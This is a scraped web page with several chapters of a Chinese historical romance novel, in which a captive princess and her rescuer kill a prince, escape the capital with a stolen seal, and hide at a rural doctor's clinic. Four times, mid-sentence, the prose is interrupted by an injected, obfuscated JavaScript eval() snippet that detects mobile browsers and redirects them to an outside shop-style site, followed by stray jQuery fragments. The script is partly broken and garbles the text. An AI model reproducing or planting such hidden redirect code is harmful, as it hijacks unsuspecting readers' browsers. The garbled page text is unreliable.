可延陵宗隐的战力着实强悍,就算他已是新伤旧伤交缠一身,还吃下了加料的苹果和茶水,纯懿和余晚飞两人拼尽了全力,也只能堪堪与他打成平手。 屋内一阵乒乒乓乓的箱倒柜歪,屋外的人开始还以为是延陵宗隐动作激烈了一些,现在终于察觉出不对劲来。延陵宗隐今日过来行程隐秘,带的人也不多,只有一些绝对心腹的部曲才跟了来,此刻互相对视一眼,正准备往屋里冲,却忽然有一群身着黑衣、身形灵活的汉子从院墙跃入,一句话也不说,就挥刀冲着他们杀来。 院外顿时也混战成一团。 混乱起时,延陵宗隽正巧也在院里。他早知延陵宗隐不会任他揉圆搓扁,一直派人盯着他的一举一动,听闻延陵宗隐果然悄悄来了小院,专门算好了时间来堵人。 此刻突然也被一并当做敌人,延陵宗隽着实懵了一阵儿,待看出那些黑衣人下手狠辣,见人就杀,一鼓作气要朝屋里冲,目标显然是延陵宗隐,他一向不太灵光的脑子今日却转的分外的快。 他是太子,大王担心他夺权,就扶持了延陵宗隐来与他相斗,他看延陵宗隐不顺眼,担心他就势做大,可也不能让延陵宗隐死啊。延陵宗隐死了,自己作为太子没了制衡,他的父王再扶持一个兄弟还好,若是连他也一起干掉,重新立个好掌控的年幼太子,他要去哪里哭? 延陵宗隽捋顺了思路,也顾不上算账啊看戏啊的,大喝一声,提着大刀就带头往里冲。 延陵宗隽不甚聪敏,却很是勇武,拼命之下,还真被他冲进了屋中。待看清纠缠在一起的延陵宗隐、纯懿和余晚飞三人,大惊之后,延陵宗隽厉喝一声,举着大刀就朝纯懿劈去。 一个全身肃黑的身影却忽然拦在延陵宗隽面前。那是刚刚带头杀进来的男人,延陵宗隽认得他那双冷静明亮的眼睛。 他身形高瘦,武艺基础不甚扎实,却胜在招式灵巧,转身腾挪潇洒利落,毫不拖泥带水。用手中大刀抵住延陵宗隽的攻势之后,可能是粗笨的大刀不合手感,他忽然弃了大刀,从腰间抽出一柄软剑,擦着延陵宗隽的刀锋闪身而过,剑刃已经迅速缠上了延陵宗隽持刀的手。 屋外众人混战,屋内三三两两各成一组,皆是舍命相搏。 早在黑衣人出现的一刻起,纯懿立刻就认出了陆双昂那熟悉的身影,在帮余晚飞制着延陵宗隐的同时,她一直在关注着陆双昂和延陵宗隽那边的情况。 陆双昂本来就没有从小勤练武艺,今日可能是因为要躲过城内重重守卫,现在又全力交手,陆双昂体力消耗很大,渐渐体力不支,轻巧的行动明显减缓了许多。延陵宗隽得了鼓舞,大喝几声,攻势越来越猛,慢慢将陆双昂逼得没有还手之力,只能勉力格挡。 而这边,因着药效慢慢发作,延陵宗隐反而动作不再那么强势有力,漆黑的双眸也渐渐染上一层朦胧,唇边竟然还咳出了血来。纯懿和余晚飞两人与他相斗,终于微微占了上风,可以稍稍松一口气。 再坚持一会儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008357|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延陵宗隐的脚步虚浮,反抗愈发无力,甚至不怎么用纯懿帮忙,余晚飞一人也可以制住他。 纯懿看看身体摇晃、终于单膝重重跪地的延陵宗隐,又看看那边愈战愈勇、怪叫连连的延陵宗隽,咬了咬牙,忽然捡起被延陵宗隐打落的匕首,就冲着延陵宗隽冲去。 陆双昂与纯懿心有灵犀,只要一个眼神对视,立刻就能明白对方的心意。陆双昂酸软的隔壁猛然爆发出一股蛮力,将延陵宗隽打了个措手不及,引着他渐渐背对纯懿的方向。而纯懿脚步极轻,动作迅速,在陆双昂将延陵宗隽逼得低头躲避时骤然飞扑,手里匕首狠狠插进他的脖颈。 匕首穿脖而过。 与纯懿同一时刻,陆双昂反手一挥,软剑也贯穿了延陵宗隽的胸膛。 延陵宗隽双眼瞪得如同牛眼,不敢置信地看着一前一后连神情都几乎一致的两人,喉咙“荷荷”两声,就着喷涌的血沫,魁梧的身躯重重倒地,再也不动了。 纯懿从来都没有如此清醒。她动作飞快,也不顾血污,弯腰从延陵宗隽脖颈上拔出匕首,回身就朝着延陵宗隐扑去。 延陵宗隐眼看着那把满粘血污却仍冒着寒光的匕首朝他狠力挥下,映在刀面上的,是纯懿一双明亮中带着疯狂的眼。 他集聚了全身的力量,骤然大喝一声,甩开余晚飞,就地一滚,避开了这致命一击。 纯懿扑了个空,立刻回身,高举匕首追着他而来。就在这时,这座小院里的异常终于吸引了巡城兵士的注意。敲门未果之后,他们猛然踹开房门,一大堆荷甲提枪的虞娄兵士一拥而入。 局势立刻逆转。 陆双昂明白今日已没有可能杀尽院中的虞娄人,现在之计,只能在城门处还没有收到消息时抓紧出城。他飞身上前,从后揽住几近疯狂的纯懿,抱着她的腰,强行将她朝门口的方向拖。 “琅琅,我们走!” 落入熟悉的怀抱里,纯懿仍旧在疯狂挣扎着,不断朝着延陵宗隐的方向扑,犹如魔怔了般,嘴里不住喃喃:“我要杀了他,昂哥哥,别拦我,我要杀了他!” “琅琅,走!”陆双昂使劲将她拽离半躺于地的纯懿,“他中了毒,活不了了!我们快走!” “不行,我不放心,昂哥哥,你不知道他有多可怕,不亲眼看他死掉,我决不能放心!” “琅琅!” 不管陆双昂如何软硬兼施,纯懿只一心认定了要延陵宗隐死。陆双昂看看不住倒下的属下,在纯懿耳边急声道:“琅琅,贤宁在等你!” 纯懿动作猛然僵住。她怔怔重复:“贤宁?” “对,是贤宁,是你拼尽全力救下来的贤宁。她现在就在南庆大军之中,我不在,就是她暂代主帅。”陆双昂直视着纯懿的眼睛,温声道,“不止贤宁,孟大人去救其他人了,还有永嘉,她也在等着你!” “琅琅,我们走!快走!” 纯懿停了所有挣扎,顺从任凭陆双昂半拖半抱带她离开,视线却一直牢牢盯着渐渐不能动弹的延陵宗隐。与他沉寂阴鸷的眼神相接,纯懿忽然回神,又喊了停。 她冲过去,将手伸进延陵宗隐胸前,摸索半天,掏出一枚小小的印章来。 “这是郎主私印。”纯懿奔向陆双昂,牵起他的手,“我们走。” 翻墙跃出,纯懿再没有回头。 58. 第 58 章 趁着夜色,一行人飞奔到上京城东门处。 虞娄虽然已经仿照大庆,建立起了高高的城墙,夜晚也会将城门紧紧闭锁,可仍保留着一些游牧民族的特性,守门守的颇有一些随性。只要能拿出些什么证物,或者是有人帮忙打个招呼,守夜士兵也会睁一只眼闭一只眼,假做什么也没看见。 将陆双昂他们接应进城,孟曹勋用的是最简单粗暴却最高效有用的方法:塞钱。 眼下又要出城,他就非常熟门熟路了,径直找到相熟的兵士,直接就给他兜里塞东西。那兵士掂量一下重量,给了孟曹勋一个“上道”的眼神,默默转身,朝着恭房的方向走。 陆双昂和纯懿几人急忙上前,就要跟在孟曹勋身后悄然出城去。可还没走上几步,寂静的夜色中传来一阵急切的马蹄声,还有一个男人撕心裂肺的大吼:“有逃犯!大家小心!有逃犯!仔细守门!” 他冲着城门这边喊过几次,就拨转马头,朝着另一城门急奔而去,显然是要将所有城门全转一次。 延陵宗隽已经死了,延陵宗隐也半死不活,其他人今晚事发时不在现场,那来传令的人是谁?他怎么会有如此迅速的反应? 纯懿心下一沉,果然,刚刚转身离开的虞娄兵士听闻这般传讯,立刻又脚步飞快赶了回来,一副慌张的模样,像挥赶苍蝇一样对待陆双昂和纯懿一行人:“去去去,还杵在这儿做啥?赶紧滚一边去!” 说归说,却没有一点儿要将刚刚的钱袋还回来的意思。看着期期艾艾的几人,还很是怀疑地上下打量他们:“你们不会就是逃犯吧?” 孟曹勋和陆双昂对视一言,陆双昂上前几步,将刚刚纯懿偷偷塞过来的小巧印章放在手心,从那兵士面前一晃,神情严肃,压低声音道:“知道有逃犯走脱还大呼小叫的?不要声张,快开城门,要是耽误了郎主的大事,有你好看的!” 孟曹勋挑的贿赂对象只是最底层的守门小卒,没见过大人物,更没见过这般阵仗,顿时被陆双昂镇住了。他面上露出了明显的犹豫之色,既不敢放人,也不敢拦人,纠结了许久,也采用了最简单有效的办法:死死拉着陆双昂的袖子,扯着嗓子喊主官。 被他这凄厉的喊叫声惊动,一个明显军衔更高一些的虞娄兵士从屋里出来。他看起来大概四十上下,长着一张国字脸,很是严肃的样子,皮肤也被晒得黝黑,显然非常尽忠职守。 他果然比那个虞娄小兵稳重许多,视线先仔细扫过陆双昂一行人,不知道是不是错觉,似乎在孟曹勋的身上停留的时间格外地长,然后又缓缓看向纯懿,许久之后,才移开目光。 “鬼叫什么!”他呵斥那个小兵,“刚刚不是说了,要我们看紧城门吗?这些人是怎么回事?” 那小兵将刚才陆双昂说的话一字不落转述给上官,然后眼巴巴看着自己的头儿,等待指示。 那个国字脸男人将陆双昂手中的私印接过,仔细端详了片刻。这印是纯懿从延陵宗隐身上抢来的钱,绝对真实,只是只能在延陵宗隐的消息传出来之前用。一旦延陵宗隐身亡的消息被公之于众,他们立刻就会成为众矢之的。 赌的就是这个时间差。只是不知道,这位城门守将官位低微,能不能识得大名鼎鼎的狼主私印。 纯懿站在陆双昂身后,有些提心吊胆地看着那个国字脸男人。就连面上淡然的陆双昂也将手握上腰间软剑,预备虞娄人有异动就立刻发难。 那国字脸男人观察印章的时间越长,纯懿心里就越不安。直到那男人忽然抬头,再次看向孟曹勋、陆双昂和纯懿三人,然后将这枚印章高高举起。 纯懿的心仿佛也随着印章被一起举高。 那国字脸男人后退一步,忽然对着他们拱手行礼,恭敬道:“大人请。” 说罢,微微侧脸,吩咐愣在原处的小兵士:“开城门,请大人们出城。” 纯懿顿时如释重负。陆双昂也强力维持着平静的表情,将那枚小印塞回怀中,对着国字脸男人微一颔首,带着纯懿等人狂奔出城。 忽然,身后传来那国字脸男人的声音,有些几不可闻的轻颤,似乎是强自压抑着什么汹涌的情绪。 “既然走了,没有完成目标,就不要回来了。”他轻声道,“愿大人们一切顺利,一路平安。” 纯懿觉得国字脸男人的这几句话有些奇怪,却也顾不上深究,在陆双昂的保护下迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038595|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速离开。踏出上京城门的刹那,感受到吹面而来的夜风,刮的人脸颊生疼,却让她欣喜不已。 上京,她终于离开了上京! 他们一行人向东行了一会儿,又转而朝南,在一间废弃的小屋里与永嘉宗姬等人汇合。永嘉宗姬还穿着一身并不便于行动的华丽衣裙,发髻歪斜,珠花纷乱,显然是事出突然,来不及换衣服准备就立刻跟着孟曹勋离开了。 见到纯懿,她站起身来,笑容依旧甜美,可明显发自真心了许多。 “纯懿,”她说,“你们终于来了,我担心死你们了。” 自由之后能与战友相见,纯懿自然也很开心。只是她朝着永嘉宗姬身后看去,却看到了一个她实在没想到会出现在这里的人。 “杜小娘子?” 杜伽茹似乎也有些不好意思,躲在永嘉宗姬身后,期期艾艾看着纯懿,想上前打招呼又不敢。永嘉宗姬见纯懿提起,便顺势将她拉到面前,笑着解释:“孟大人来寻我时,杜小娘子正海与我在一处。没想到,她竟然这么有勇气,府里都不回了,一应物事都不要了,跟着我们就走。” 被迫直面纯懿,杜伽茹小脸通红,憋了许久,才憋出一句:“帝姬,我姐姐她……” 然后似乎生怕纯懿误会,急忙又解释:“我与她不一样,她安心做国禄将军的侧室,可我不愿意,那个虞娄人……” 她咬紧下唇,窘迫至极,最后只扔出硬邦邦的一句话,重复道:“我与姐姐不一样。” 纯懿自然不会与杜伽茹这个小姑娘计较。逃离上京的喜悦笼罩着她,让她看世间万物都欣欣向荣,未来可期。她上前握住杜伽茹的手,笑着道:“没关系,我们一起回大庆去,怎么样?。” 杜伽茹拼命点头,三人围在一起,看着彼此都通红不已的面庞,激动万分。 一直默默站在旁边含笑看着她们的孟曹勋却忽然上前一步。他对着纯懿拜首,肃穆道:“恭贺帝姬离开上京。前往南庆山高路远,危险重重,还请帝姬千万小心。老臣在上京,日日遥祝帝姬驸马一路顺利,平安抵达。” 几人都是一怔。纯懿立时追问:“孟大人,您不跟我们一起走吗?” 59. 第 59 章 “不了。”孟曹勋微笑着,脸上的皱纹都似乎伸展了开来,看着沉默地站在纯懿身后,犹如保护神一般的陆双昂,摇头,“老臣答应过陛下,要全力保护仍在上京的帝姬王妃们,只要还有一位大庆宗室陷于上京,老臣就绝不离开。” 他后退一步,整衣敛目,忽然对着纯懿双膝跪地,行了一个非常标准又正式的大庆礼节:“今日能送帝姬和几位贵人离开,老臣也算不负帝姬全心信任。帝姬一个弱女子深陷虞娄,却坚韧顽强,您的聪敏勇敢,实在很让老臣佩服,老臣斗胆,有一事相求,请帝姬和驸马允诺。” 纯懿与陆双昂对视一眼,然后急忙点头,上前扶起孟曹勋:“孟大人请说,纯懿一定尽力。” 就是在逃出上京时仍很镇定的孟曹勋,此刻眼中却泛起了泪光。他清了清嗓子,缓缓道:“老臣无用,一辈子都在琢磨些工程机械,对朝政并不在行,大庆灭国时,老臣也无能为力。所以自来到虞娄之后,老臣总是在想,虞娄何德何能,为何能以兵马叩开我大庆国门。” “老臣想了很久,总是觉得,还是兵马强壮最为重要。我们大庆重文轻武,关键时刻无人可用,所以才兵败如山倒。驸马是陆家传人,帝姬又是大庆皇族,待回到南庆,还请帝姬和驸马费心操练军队,若是能锻造出一支战无不胜的强大军队,不管是虞娄还是蒙古,都不足为虑。” 孟曹勋紧握着纯懿的双手,殷切盯着她,声线颤抖:“老臣贱命,埋骨何处都无妨,只是我大庆二帝,一定得回归故国啊!” 看着眼前这位对大庆忠心耿耿的老臣,纯懿眼眶不由湿润了,就连永嘉和杜伽茹也有些动容。 纯懿也用力反握着孟曹勋,认真点头:“您放心,这是我们该尽的责任,您不说,我们也会尽力。孟大人,您跟我们一起走吧,您精通机械,帮我们设计一些武器和机弩,陆家军一定会战力大增的!” 孟曹勋脸上就露出笑容来。他将手伸进怀里,掏出一本小册子,颤颤巍巍举到纯懿面前:“老臣没有别的本事,来虞娄之后,参考了虞娄军械,改良设计了一些军队可用的机械,设计图和部件组装说明,都在里面了。还请帝姬和驸马带回南庆,如果有能用的上的,老臣就死也安心了。” 这册子实在过于珍贵,纯懿急忙双手接过来,郑重其事放入自己随身背囊中,却还想再劝孟曹勋跟他们一起离开。陆双昂却看出来,孟曹勋早已做了决定,是绝不会离开的,他们能做的,只是能满足这位老大臣可能是最后的心愿。 陆双昂站在纯懿身边,对着孟曹勋深深躬身:“孟大人高义。晚辈一定铭记大人今日所托,绝不辜负大人苦心。” 骑在飞驰的马上,紧紧搂着陆双昂劲瘦的腰肢,纯懿还是不住回头张望,而那个佝偻的身影却越来越小,很快就消失不见。 她回过头,将脸埋在陆双昂的脊背上,吸了吸鼻子,瓮声瓮气地说:“昂哥哥,我很难过。我们是不是再也见不到孟大人了?” 陆双昂沉默。他不想惹纯懿伤心,也不愿骗她,斟酌一会儿,才柔声回道:“我们一起努力,早日将他接回来,让他颐养天年,好不好?” 纯懿将陆双昂抱得更紧,重重点头:“好。” 一夜飞奔。天亮之后,害怕他们一行人过于引人注目,陆双昂将队伍分散开来,亲卫们三三两两各去保护这次跟着他们一起逃出的十来位宗室,他和纯懿、永嘉、杜伽茹、余晚飞几人一组,乔装改扮之后一起上路。 他们五人一路同行,却也并不总是走在一起,而是又分成两组,纯懿与陆双昂扮作一对新婚夫妻,余晚飞、永嘉和杜伽茹则是扮作兄妹三个,两组隔着不远不近的距离,既能看到彼此互相照应,万一出点什么事,也不会被一锅端了。 又这般走了一日一夜,夜幕再次降临,他们五人汇合,寻了一片茂密的树林准备过夜。 陆双昂去寻了树枝稻草生起一堆火,几人围坐在一起,挨着火苗取暖。虽然已经初春,虞娄的气候却仍旧苦寒,夜晚更是冷的惊人,对于纯懿这般身体娇弱的娘子来说,实在是有些难熬。 陆双昂默默移了个角度,把自己的身体堵在上风处,又拉开自己的大氅,将纯懿揽入怀中,用自己的体温为她保暖。 纯懿依偎在陆双昂怀里,果然觉得浑身都温暖了许多。伴着风声和树叶沙沙声,她不由便渐渐昏昏欲睡,半梦半醒之间,忽然察觉,陆双昂的身子似乎在不住颤抖。 纯懿立刻清醒了过来。她从陆双昂怀里爬出来,急忙去看他的脸,却发现说好了要守夜的陆双昂此刻双眸半闭,脸颊上泛着不自然的酡红,就是察觉到怀中空荡,一双手下意识去揽纯懿时,也只能无力的轻握住纯懿的衣角。 纯懿顿觉不好,急忙去探他的额头,果然已经滚烫。她又匆忙解开陆双昂的里衣,小心朝着里面张望了一下,顿时惊得说不出话来。 那日与延陵宗隽打斗,两人都是尽了全力,延陵宗隽最后身死,陆双昂自然也讨不到什么好处,身上多了大大小小不少伤口。因着着急赶路,他也只是在有时间的时候匆匆换药,从来都没有得到正经医官的治疗,这几日他又一直殚精竭虑安排路线、照顾纯懿,撑到现在,伤口终于还是恶化了起来,让陆双昂这般心志坚定的人都再支持不住了。 永嘉浅眠,早就被纯懿这边的动静惊醒。她过来看了一眼陆双昂的情况,非常直接地道:“他的情况不太好,我们需要去找个郎中。” 纯懿立刻点头,已经开始计划后面是哪个城镇,他们要如何混进城去,杜伽茹却也凑了过来。她一副很是担心的样子,开口却是:“可是……我们进城里,会不会被发现啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13051069|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纯懿和永嘉都看向她。纯懿紧抿了唇不语,永嘉就直接许多,立刻怼了回去:“要是没有陆双昂,就凭你,你都走不到下一个城。” 杜伽茹缩了缩脖子,脸上带上了些可怜的表情,立刻道:“永嘉宗姬,您误会我了,我不是这个意思,只是想提醒大家……” 永嘉冷笑一声,又要开口,却被纯懿拦住了。纯懿沉声道:“延陵宗隐中了毒又受了重伤,已经凶多吉少,就算侥幸不死,也得好生修养上许久,顾不上亲自布置追击我们。只要来的人不是延陵宗隐,我们就有机会。我们要进城。” 说罢,视线缓缓在众人面上扫过,补充道:“当然,这是我个人的意见。就像杜小娘子所说,大家都可以发表自己的观点。” 一直默不作声的余晚飞第一个开口:“我同意。” 永嘉紧接着也道:“我也同意。” 三人一起看向杜伽茹。她反对已然无效,也就不自讨没趣,自然也说同意,说完之后,还要再解释一下刚才那番话。 纯懿却不想听她啰嗦这些没用的,他们三人凑在一起,商量起了下一步的计划。 杜伽茹自觉被排挤了,嘟了嘟嘴,又插不进话,只好有些心不在焉的听着。 火堆毕剥,夜晚寂静,一点儿声音都会被放得很大,更别说一阵急促的马蹄声。纯懿几人都是一个哆嗦,动作极其迅速,余晚飞立刻起身扑灭了火堆,永嘉收拾了东西,纯懿和杜伽茹掺着陆双昂,一行人迅速躲藏到一片灌木丛中。 很快,就有一队骑兵从不远处飞驰而过。纯懿透过纠结的荆条向外张望,瞥到了一面熟悉的黑底苍鹰旗一闪而过,心里顿时大惊。 这是延陵宗隐的旗帜,只有直属于他的部曲才能使用。 延陵宗隐……他竟真的没死?不仅没死,还这么快就派了人出来? 这怎么可能! 不管情感上如何不肯相信,理智却在冷静地告诉她,这的确是延陵宗隐的作风。纯懿一颗心渐渐下坠,与永嘉对视一眼,都在对方眼中看到了深切的担忧。 第二日天蒙蒙亮,烧了一整夜的陆双昂就靠着极强的毅力清醒过来,他不顾众人劝阻,执意继续筹谋着前行路线。经过前一晚的经历,几人前行时更加小心,连乡间小路都不敢走了,直往丛林里钻。 又这么走了两日,带来的结果就是,陆双昂的伤势更加严重了,甚至不止是晚上,白天他也开始发烧,精神也渐渐开始不济。直到他昏倒的频率越来越高,昏迷的时间也越来越长,纯懿终于忍不了了。 她轻轻揽着陆双昂的头,不住轻抚着他紧闭的双眼和紧皱的眉头,看着他奄奄一息的模样,心中对延陵宗隐的恨意达到了顶峰。她抬头,眼圈通红,眸子却分外地亮,对着几人开口:“前面不远处就是喀末城。我们不躲了,进城。” 60. 第 60 章 喀末城是一座小城,若是按照大庆的标准,恐怕只能被称为小镇。虽然规模不大,但喀末城内的一应设施都是完备的,除了纯懿最急需的医馆,还有纯懿此时最想避开的衙署和守城卫队。 纯懿一行五人仍分做两组,一前一后隔着些距离,朝着城门处缓缓而行。待靠近了关卡,只看凶神恶煞的守卫们严谨认真的态度,就知道这里果然也已经接到了上京传来的命令:有要犯逃脱,一定要加强守卫。 等待检查的时候,余晚飞偷偷来到纯懿身后,压低声音:“这里守卫很严,您手里那枚私印……恐怕会引起注意。” 纯懿头也不回,目光仍正视前方,仿佛什么都没有听到。只借着照顾陆双昂的时候,她微微侧脸,双唇几乎不动:“我没打算用那枚私印。” 余晚飞此时也打开了纯懿给他的路引,果然发现上面印信处是一个有些陌生的名字,似乎在哪里听过,却又并不熟悉,一时想不起来。 而这盖了陌生印信的路引似乎也确实好用,守城兵士只匆匆一瞥,就将路引还给了看起来其实有些狼狈的纯懿和余晚飞,然后侧身让开进城的必经之路,神情似乎都带上了些毕恭毕敬。 余晚飞有些不解,却也先赶紧入城。几人在城内东北角处的一座道观外汇合,余晚飞就急忙问了纯懿。 纯懿微笑着解释:“印信上这位唐成大人是延陵宗隽的亲信,每次延陵宗隽需要做一些不方便出面的事,都是借用唐成大人的名义。后来,为了方便延陵宗隽''借名’,唐成大人就很是鸡贼地将自己的印信献给了延陵宗隽,这才被我寻了机会。” 余晚飞聪慧机敏,一点就透,立刻想明白了事情关键:“您为太子府举行那个净化仪式的时候?” 纯懿含笑瞟了余晚飞一眼,没有说话,又去关注陆双昂的情况。 陆双昂的状态很不好,唇无血色,脸色发青,身上却是滚烫,浓密的双眉紧紧蹙着,显得眉心皱纹更深。 纯懿很是心疼,一边用自己袖子仔细擦过他额上虚汗,一边抬头,东张西望想要找一家大庆医馆。 忽然,不远处的路口处传来一阵喧闹,还夹杂着女人凄厉的哭喊和兵器碰撞的声响。不用纯懿吩咐,余晚飞就悄悄朝着那边靠近,藏身在看热闹的人群最后,抻着脖子向里张望,又不动声色去打听发生了什么,很快就转身走了回来,脸色却不好看了许多。 “帝姬,”他蹲在纯懿不远处,脸朝着永嘉和杜伽茹,话却是说给纯懿听的,“虞娄人在找人。只要稍微有一点怀疑,甚至都不多问两句,直接抓起来扣在大牢里,待确认无辜之后才会放人。” 没想到喀末这样的小城,防卫竟然如此严密。如果稍有怀疑就要抓走,那像他们这般的确不对劲的,恐怕迟早要被逮进大牢里。 不同的是,进去了,他们恐怕就出不来了。 纯懿立刻放弃了要找大庆医馆的想法。看着那边一部分虞娄士兵抓了人离开,剩下的又重新整队,朝着他们方向行来,纯懿沉吟片刻,飞快做了决定。 “一起行动目标太大,我们分开走。”她压低声音,有些吃力地扶起陆双昂,“刚刚进城的时候,我们走过的第三条街旁边第二条小巷里,有一家虞娄医馆,我带昂哥哥去那里求医。你们三人另外走,若是有什么突发事件,你们随时到医馆找我们。若是一切顺利,七日……” 她看看陆双昂的模样,又改了主意:“不,十日之后,我们仍在这道观碰面。” 那队虞娄兵士离他们越来越近,军靴踏在地上发出的“哒哒”声响已经清晰可闻。余晚飞和永嘉飞快点头:“没问题。”然后扯着有些懵头懵脑的杜伽茹,从旁边一条小巷闪身离开。纯懿也扶着陆双昂,一脚深一脚浅迈入道观大门,似乎只是一对平凡的来求神解惑的小夫妻。 几乎只是一转眼的功夫,虞娄兵士就踏着整齐的步伐经过道观门前。他们犀利的目光从道观门前街面上扫过,纯懿她们刚刚待过的地方此时空空荡荡,没有一丝可疑的痕迹。 等巡逻队走远,纯懿才扶抱着陆双昂离开道观,经过几条弯曲互通的小路,终于来到了刚刚看到的那家虞娄医馆前。 这家医馆规模不大,只一个小小的门脸还不临街,所以生意可以称得上惨淡,惨淡到医馆老板搬了一个小凳子坐在门口,有一下没一下的亲自择草药。远远看到纯懿扶着一个明显不对劲的陆双昂歪歪扭扭走来,老板激动地将一双大手搓的发红,一副蠢蠢欲动的模样,却又不好意思主动上前询问,只一双眼睛期待看着纯懿,恨不得将她直接拉进店里。 纯懿在台阶下停下。她两只手都艰难支撑着陆双昂沉重的身体,发丝散乱在眼前也没办法去整理,只能隔着掉下来的头发与那中年汉子对视。 两人就这样大眼瞪小眼地对望一会儿,最后还是纯懿先忍不住:“请问这里可以治病吗?” “可以的,可以的,没问题!”那汉子见纯懿真是来求医的,顿时喜出望外,欢呼一声,立刻踢翻凳子奔向纯懿,在她还没反应过来的时候,就将陆双昂接到了手上,带着他一步不停地往回走,一边走还一边朝着屋里呼喊,“老婆子,来活儿啦!快烧热水,这小哥儿看着可不太好呢!” 说完了,还不忘回头热情地招呼纯懿:“丫头跟我来,这边走,可别走丢啦!” 因着国恨私仇,纯懿其实对虞娄人非常抵触,总觉得他们都不是什么好人,再没办法如以前做大庆帝姬时那般轻易相信别人。若不是情势所迫,她是无论如何也不放心将陆双昂的性命交到一个虞娄人手上的。 可这位虞娄大夫实在是过于热情,不仅没有如纯懿担心的那般盘问他们的来历,甚至连陆双昂一身伤是怎么来的都没问,只认真帮忙处理了伤口,又把纯懿唤到面前,细致介绍了一番陆双昂的情况,讲解了方子中每一味药的药效,还好心叮嘱了她市场药价,生怕她被宰了一点儿。 说到最后,虞娄汉子憋红了脸,又将手搓得通红,期期艾艾邀请道:“我自认医术还算不错,有把握救回你情郎的性命,如果丫头你不嫌弃,可以在我这里暂且住下,半月之后,一定还你一个活蹦乱跳的情哥哥!” 邀请完了,他似乎觉得自己提了什么无礼的要求,又急忙找补:“当然了,如果丫头你想去别的地方再看看,也可以的。咱们城不大,四方街上临东的那家杏林堂是最好的医馆,大夫都请了好几个,不过你千万不要找姓乌里错的,他的医术不大行……” 最大的医馆,一定最引人注意,还是这般清清静静的最好。就算老板不开口,她也要主动要求住下的,现在既然老板主动邀请,纯懿也就不再推脱,一口答应住下来,还承诺会帮忙做一些事,惹得老板和老板娘一个劲儿夸她乖巧懂事,又一连串对着昏迷不醒的陆双昂说他运气好。 老板二人满脸认真地絮絮叨叨,纯懿却不合时宜地有些想笑,废了老大的劲儿才忍了回去,然后在老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13082077|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板和老板娘热情的招呼下,住进了这家小小的医馆。 老板孛果儿的医术果然不错,老板娘扎娜的手脚也很麻利,两人又都是极其纯朴善良的性子,几天下来,纯懿与他们相熟了许多。 而有了他们二人的关照,纯懿只需要在家里帮忙做些活计,就能换到食物、床铺和陆双昂的治疗,再不用去街上四处奔忙,也不必担心被巡逻兵士发现,每天过得都是近来少有的轻松,完美隐没在喀末城一片片低矮的民居之中。 甚至都很少想到延陵宗隐了。 被遗忘的延陵宗隐此刻情况却非常不好。 延陵宗隐赤裸着上身坐在书桌之后。经过医官的全力解毒,千百种珍贵药材不要钱似的灌下去,他的脸上仍然泛着些青黑,尤其是嘴唇,更是黑到发紫,配上他布满血丝的眼球,如同在幽冥里无望挣扎的厉鬼。 他本就伤痕遍布的身体上又多了深深一个口子,那是她亲手捅下去的,看准了上次帮他上药时他伤口的位置,就是奔着伤上加伤来的,下手干脆利落,毫不留情,根本不像平日里那个温柔乖巧的纯懿帝姬,反而有点像是…… 他。 不知道纯懿有没有发觉,在他身边待久了,她其实越来越像他了。 当日延陵宗隐中毒又身受重伤,只能眼睁睁看着她头也不回地与那个男人一起离开,而他拼尽了全力,也只能维持着最后的清醒等到府兵,吩咐他们立刻去追击纯懿,然后就陷入昏迷,生死悬于一线,一只脚好几次都踏入了鬼门关。 待他九死一生,好不容易睁开眼睛,却发现一切已天翻地覆。太子延陵宗隽死了,就陈尸于他的不远处,而他身为太子最大的竞争对手,又刚与延陵宗隽因着女人起了矛盾,自然成为太子遇害案最大的也几乎是唯一的嫌疑人。 他被软禁,被调查,被自己的伤势和别人的权势困在上京,而那个女人看着软弱可欺,其实狡猾得很,没有他坐镇,派出去的人自然都铩羽而归。 延陵宗隐一双黑眸阴鸷,视线在桌面上一左一右摆着的两摞纸张上游移。 